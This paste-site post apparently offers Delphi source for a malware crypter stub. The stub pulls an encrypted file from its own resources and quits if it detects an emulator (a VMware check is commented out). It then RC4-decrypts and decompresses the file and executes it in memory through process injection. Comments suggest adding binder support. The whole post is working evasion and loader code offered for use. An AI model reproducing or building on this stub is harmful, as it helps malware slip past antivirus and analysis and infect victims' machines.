Author: winner13. Date 2013-01-02 18:27:49, views: 1021, Raw

Увеличить
program Main;
 
uses
  Windows,
  Util,
  Bytes,
  Unit2;
 
{
Start of stub
}
var
 Buffer          : AnsiString;
 SettingsPointer : Pointer;
 SettingsLength  : Integer;
 sInfo           : TSettings;
 iBuffer         : Integer;
 iFile           : Pointer;
begin
//MessageBox(0, 'Begin', 'Info', MB_OK);
 
LoadApp; // Load API's Dynamically.
 
iBuffer := 0;
 
MessageBox(0, 'Get Settings + Assign', 'Info', MB_OK);
SettingsPointer := ResGet(SettingsLength, 'S'); Move(SettingsPointer^, sInfo, SettingsLength); // Get Settings + Assign.
 
If sInfo.AntiE then begin If AntiEmulaters then Exit else end;                                 // Check for Emulators - ChainCoder's code.
 
//If sInfo.AntiV then begin If IsVMwarePresent then Exit else end;                           // Check for Vmware and Virtual PC.
                                                                                            // Removed this as was crashing for some reason
 
//MessageBox(0, 'Get File from Resources', 'Info', MB_OK);
iFile := ResGet(iBuffer, 'F'); SetLength(Buffer, iBuffer); if iFile = nil then ExitProcess(0); // Get File from Resources,
                                                                                     //  if no file found Exit.
 
// You could also add binder support by adding loops to loop through the files in resources
 
Move(iFile^, Buffer[1], Length(Buffer));
 
//MessageBox(0, 'Decrypt File with RC4', 'Info', MB_OK);
If sInfo.Encrypt  then Buffer := RC4(Buffer, PChar(CharArrayToString(sInfo.Key)));  // Decrypt file with RC4, if RC4 was selected.
 
//MessageBox(0, 'DeCompress File', 'Info', MB_OK);
If sInfo.Compress then Buffer := DeCompress(Buffer);   // DeCompress Buffer, if compression was selected.
 
GetMem(iFile, Length(Buffer));
Move(Buffer[1], iFile^, Length(Buffer));
 
//MessageBox(0, 'Execute file in Memory', 'Info', MB_OK);
 
//Memory Execute(File, Process to Inject into, File Parameters, Visible)
if not MemoryExecute(iFile, ParamStr(0), '', True) then Exit; // Injecting file into Memory, otherwise Exit.
 
//MessageBox(0, 'File has been Executed.', 'Info', MB_OK);
 
FreeMem(iFile);
Exit;
 
end.
 
{ End of Stub }